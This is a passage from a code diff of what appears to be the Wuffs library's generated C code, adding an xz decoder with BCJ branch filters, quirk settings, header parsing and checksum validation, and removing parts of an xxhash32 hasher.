++ (((uint32_t)(v_s.ptr[3u])) << 24u)); ++ if ((v_x >> 26u) == 37u) { ++ v_y = ((uint32_t)(v_x - (v_p >> 2u))); ++ v_x = (2483027968u | (v_y & 67108863u)); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); ++ } else if ((v_x & 2667577344u) == 2415919104u) { ++ v_y = (((v_x >> 29u) & 3u) | ((v_x >> 3u) & 2097148u)); ++ if ((((uint32_t)(v_y + 131072u)) & 1835008u) == 0u) { ++ v_y -= (v_p >> 12u); ++ v_x &= 2415919135u; ++ v_x |= ((v_y & 3u) << 29u); ++ v_x |= ((v_y & 262140u) << 3u); ++ v_x |= (((uint32_t)(0u - (v_y & 131072u))) & 14680064u); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); ++ } ++ } ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_0b_riscv ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_0b_riscv( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ uint32_t v_x27 = 0; ++ uint32_t v_y = 0; ++ uint32_t v_addr = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 8u) { ++ if (v_s.ptr[0u] == 239u) { ++ if (((uint8_t)(v_s.ptr[1u] & 13u)) != 0u) { ++ v_p += 2u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); ++ continue; ++ } ++ v_addr = ((((uint32_t)(((uint8_t)(v_s.ptr[1u] & 240u)))) << 13u) | (((uint32_t)(v_s.ptr[2u])) << 9u) | (((uint32_t)(v_s.ptr[3u])) << 1u)); ++ v_addr -= v_p; ++ v_s.ptr[1u] = ((uint8_t)(((uint8_t)(v_s.ptr[1u] & 15u)) | ((uint8_t)(((v_addr >> 8u) & 240u))))); ++ v_s.ptr[2u] = ((uint8_t)((((v_addr >> 16u) & 15u) | ((v_addr >> 7u) & 16u) | (((uint32_t)(v_addr << 4u)) & 224u)))); ++ v_s.ptr[3u] = ((uint8_t)((((v_addr >> 4u) & 127u) | ((v_addr >> 13u) & 128u)))); ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ continue; ++ } else if (((uint8_t)(v_s.ptr[0u] & 127u)) == 23u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | ++ (((uint32_t)(v_s.ptr[1u])) << 8u) | ++ (((uint32_t)(v_s.ptr[2u])) << 16u) | ++ (((uint32_t)(v_s.ptr[3u])) << 24u)); ++ if ((v_x & 3712u) != 0u) { ++ v_y = ((((uint32_t)(v_s.ptr[4u])) << 0u) | ++ (((uint32_t)(v_s.ptr[5u])) << 8u) | ++ (((uint32_t)(v_s.ptr[6u])) << 16u) | ++ (((uint32_t)(v_s.ptr[7u])) << 24u)); ++ if (((((uint32_t)(v_x << 8u)) ^ ((uint32_t)(v_y - 3u))) & 1015811u) != 0u) { ++ v_p += 6u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); ++ continue; ++ } ++ v_addr = ((v_x & 4294963200u) | (v_y >> 20u)); ++ v_x = (279u | ((uint32_t)(v_y << 12u))); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); ++ v_s.ptr[4u] = ((uint8_t)((v_addr >> 0u))); ++ v_s.ptr[5u] = ((uint8_t)((v_addr >> 8u))); ++ v_s.ptr[6u] = ((uint8_t)((v_addr >> 16u))); ++ v_s.ptr[7u] = ((uint8_t)((v_addr >> 24u))); ++ v_p += 8u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); ++ continue; ++ } ++ v_x27 = (v_x >> 27u); ++ if (((uint32_t)(((uint32_t)(v_x - 12567u)) << 18u)) >= (v_x27 & 29u)) { ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ continue; ++ } ++ v_addr = ((((uint32_t)(v_s.ptr[4u])) << 24u) | ++ (((uint32_t)(v_s.ptr[5u])) << 16u) | ++ (((uint32_t)(v_s.ptr[6u])) << 8u) | ++ (((uint32_t)(v_s.ptr[7u])) << 0u)); ++ v_addr -= v_p; ++ v_y = ((v_x >> 12u) | ((uint32_t)(v_addr << 20u))); ++ v_x = (23u | (v_x27 << 7u) | (((uint32_t)(v_addr + 2048u)) & 4294963200u)); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); ++ v_s.ptr[4u] = ((uint8_t)((v_y >> 0u))); ++ v_s.ptr[5u] = ((uint8_t)((v_y >> 8u))); ++ v_s.ptr[6u] = ((uint8_t)((v_y >> 16u))); ++ v_s.ptr[7u] = ((uint8_t)((v_y >> 24u))); ++ v_p += 8u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); ++ continue; ++ } ++ v_p += 2u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash32__hasher__get_quirk( +- const wuffs_xxhash32__hasher* self, ++wuffs_xz__decoder__get_quirk( ++ const wuffs_xz__decoder* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -61527,15 +77160,24 @@ wuffs_xxhash32__hasher__get_quirk( + return 0; + } + ++ if (a_key == 1u) { ++ if (self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } ++ } else if (a_key == 2021322752u) { ++ if (self->private_impl.f_standalone_format) { ++ return 1u; ++ } ++ } + return 0u; + } + +-// -------- func xxhash32.hasher.set_quirk ++// -------- func xz.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_xxhash32__hasher__set_quirk( +- wuffs_xxhash32__hasher* self, ++wuffs_xz__decoder__set_quirk( ++ wuffs_xz__decoder* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -61548,747 +77190,1667 @@ wuffs_xxhash32__hasher__set_quirk( + : wuffs_base__error__initialize_not_called); + } + ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } else if (a_key == 2021322752u) { ++ self->private_impl.f_standalone_format = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func xxhash32.hasher.update ++// -------- func xz.decoder.dst_history_retain_length + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_xxhash32__hasher__update( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_xz__decoder__dst_history_retain_length( ++ const wuffs_xz__decoder* self) { + if (!self) { +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_lzma__decoder__dst_history_retain_length(&self->private_data.f_lzma); ++} ++ ++// -------- func xz.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_xz__decoder__workbuf_len( ++ const wuffs_xz__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_lzma__decoder__workbuf_len(&self->private_data.f_lzma); ++} ++ ++// -------- func xz.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xz__decoder__transform_io( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_xz__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_xz__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; + } + +- wuffs_base__slice_u8 v_remaining = {0}; ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + +- if ((self->private_impl.f_length_modulo_u32 == 0u) && ! self->private_impl.f_length_overflows_u32) { +- self->private_impl.f_v0 = 606290984u; +- self->private_impl.f_v1 = 2246822519u; +- self->private_impl.f_v2 = 0u; +- self->private_impl.f_v3 = 1640531535u; +- } +- while (((uint64_t)(a_x.len)) > 0u) { +- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); +- if (((uint64_t)(a_x.len)) > 16777216u) { +- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 16777216u); +- a_x = wuffs_base__slice_u8__subslice_j(a_x, 16777216u); +- } +- wuffs_xxhash32__hasher__up(self, a_x); +- a_x = v_remaining; ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func xxhash32.hasher.update_u32 ++// -------- func xz.decoder.do_transform_io + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_xxhash32__hasher__update_u32( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; +- } ++static wuffs_base__status ++wuffs_xz__decoder__do_transform_io( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_xxhash32__hasher__update(self, a_x); +- return wuffs_xxhash32__hasher__checksum_u32(self); +-} ++ uint64_t v_header_magic = 0; ++ uint64_t v_dmark = 0; ++ uint64_t v_smark = 0; ++ uint8_t v_i8 = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_checksum32_have = 0; ++ uint32_t v_checksum32_want = 0; ++ uint64_t v_checksum64_have = 0; ++ uint64_t v_checksum64_want = 0; ++ wuffs_base__bitvec256 v_checksum256_have = {0}; ++ uint64_t v_compressed_size = 0; ++ uint64_t v_uncompressed_size = 0; ++ uint32_t v_hash = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ uint16_t v_footer_magic = 0; + +-// -------- func xxhash32.hasher.up ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_xxhash32__hasher__up( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_new_lmu = 0; +- uint32_t v_buf_u32 = 0; +- uint32_t v_buf_len = 0; +- uint32_t v_v0 = 0; +- uint32_t v_v1 = 0; +- uint32_t v_v2 = 0; +- uint32_t v_v3 = 0; +- wuffs_base__slice_u8 v_p = {0}; ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; ++ if (coro_susp_point) { ++ v_checksum32_have = self->private_data.s_do_transform_io.v_checksum32_have; ++ v_checksum32_want = self->private_data.s_do_transform_io.v_checksum32_want; ++ v_checksum256_have = self->private_data.s_do_transform_io.v_checksum256_have; ++ v_compressed_size = self->private_data.s_do_transform_io.v_compressed_size; ++ v_uncompressed_size = self->private_data.s_do_transform_io.v_uncompressed_size; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- v_new_lmu = ((uint32_t)(self->private_impl.f_length_modulo_u32 + ((uint32_t)(((uint64_t)(a_x.len)))))); +- self->private_impl.f_length_overflows_u32 = ((v_new_lmu < self->private_impl.f_length_modulo_u32) || self->private_impl.f_length_overflows_u32); +- self->private_impl.f_length_modulo_u32 = v_new_lmu; +- while (true) { +- if (self->private_impl.f_buf_len >= 16u) { +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | +- (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); +- v_v0 = ((uint32_t)(self->private_impl.f_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); +- self->private_impl.f_v0 = ((uint32_t)(v_v0 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | +- (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); +- v_v1 = ((uint32_t)(self->private_impl.f_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); +- self->private_impl.f_v1 = ((uint32_t)(v_v1 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | +- (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); +- v_v2 = ((uint32_t)(self->private_impl.f_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); +- self->private_impl.f_v2 = ((uint32_t)(v_v2 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[12u])) | +- (((uint32_t)(self->private_impl.f_buf_data[13u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[14u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[15u])) << 24u)); +- v_v3 = ((uint32_t)(self->private_impl.f_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); +- self->private_impl.f_v3 = ((uint32_t)(v_v3 * 2654435761u)); +- self->private_impl.f_buf_len = 0u; +- break; +- } +- if (((uint64_t)(a_x.len)) <= 0u) { +- return wuffs_base__make_empty_struct(); +- } +- self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); ++ iop_a_src += 6; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 40) { ++ t_0 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_header_magic = t_0; ++ } ++ if (v_header_magic != 388031461373u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { ++ t_1 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); ++ iop_a_src += 6; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 40) { ++ t_1 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_header_magic = t_1; ++ } ++ if (v_header_magic == 72400582410240u) { ++ self->private_impl.f_checksummer = 0u; ++ } else if (v_header_magic == 60327687946496u) { ++ self->private_impl.f_checksummer = 1u; ++ } else if (v_header_magic == 77742513456128u) { ++ self->private_impl.f_checksummer = 2u; ++ } else if (v_header_magic == 177077137508864u) { ++ self->private_impl.f_checksummer = 3u; ++ } else if ((v_header_magic & 61695u) != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_header); ++ goto exit; ++ } else { ++ v_header_magic = (15u & (v_header_magic >> 8u)); ++ if ((v_header_magic != 0u) && ++ (v_header_magic != 1u) && ++ (v_header_magic != 4u) && ++ (v_header_magic != 10u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__unsupported_checksum_algorithm); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ self->private_impl.f_flags = ((uint16_t)(v_header_magic)); ++ self->private_impl.f_num_actual_blocks = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ continue; ++ } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) == 0u) { ++ break; ++ } ++ self->private_impl.f_num_actual_blocks += 1u; ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ self->private_impl.f_compressed_size_for_index = 4u; ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_xz__decoder__decode_block_header_with_padding(self, a_src); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); ++ if ( ! self->private_impl.f_ignore_checksum) { ++ v_checksum32_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ v_checksum32_want = t_3; ++ } ++ if (self->private_impl.f_ignore_checksum) { ++ } else if (v_checksum32_have != v_checksum32_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } else { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_private_impl__ignore_status(wuffs_crc64__ecma_hasher__initialize(&self->private_data.f_crc64, ++ sizeof (wuffs_crc64__ecma_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_private_impl__ignore_status(wuffs_sha256__hasher__initialize(&self->private_data.f_sha256, ++ sizeof (wuffs_sha256__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ v_compressed_size = 0u; ++ v_uncompressed_size = 0u; ++ while (true) { ++ if (((uint64_t)(self->private_impl.f_bcj_undo_index)) > ((uint64_t)(io2_a_dst - iop_a_dst))) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ continue; ++ } ++ v_dmark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ if (self->private_impl.f_num_non_final_filters == 0u) { ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_4 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); ++ v_status = t_4; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ } else { ++ if (self->private_impl.f_bcj_undo_index > 0u) { ++ wuffs_private_impl__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,wuffs_base__make_slice_u8(self->private_data.f_filter_data[0u], self->private_impl.f_bcj_undo_index)); ++ self->private_impl.f_bcj_undo_index = 0u; ++ } ++ { ++ uint8_t* o_0_io0_a_dst = io0_a_dst; ++ uint8_t* o_0_io1_a_dst = io1_a_dst; ++ io0_a_dst = iop_a_dst; ++ io1_a_dst = iop_a_dst; ++ wuffs_base__io_buffer o_0_a_dst; ++ if (a_dst) { ++ memcpy(&o_0_a_dst, a_dst, sizeof(*a_dst)); ++ size_t wi0 = a_dst->meta.wi; ++ a_dst->data.ptr += wi0; ++ a_dst->data.len -= wi0; ++ a_dst->meta.ri = 0; ++ a_dst->meta.wi = 0; ++ a_dst->meta.pos = wuffs_base__u64__sat_add(a_dst->meta.pos, wi0); ++ } ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_5 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); ++ v_status = t_5; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (a_dst) { ++ memcpy(a_dst, &o_0_a_dst, sizeof(*a_dst)); ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ io0_a_dst = o_0_io0_a_dst; ++ io1_a_dst = o_0_io1_a_dst; ++ } ++ } ++ self->private_impl.f_bcj_undo_index = wuffs_xz__decoder__apply_non_final_filters(self, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ if ((self->private_impl.f_bcj_undo_index > 0u) && ! wuffs_base__status__is_ok(&v_status)) { ++ v_i8 = ((uint8_t)(self->private_impl.f_bcj_undo_index - 1u)); ++ while (true) { ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_xz__error__internal_error_inconsistent_bcj_filter_state); ++ goto exit; ++ } ++ self->private_data.f_filter_data[0u][v_i8] = iop_a_dst[-1]; ++ iop_a_dst--; ++ if (v_i8 <= 0u) { ++ break; ++ } + #if defined(__GNUC__) + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wconversion" + #endif +- self->private_impl.f_buf_len += 1u; ++ v_i8 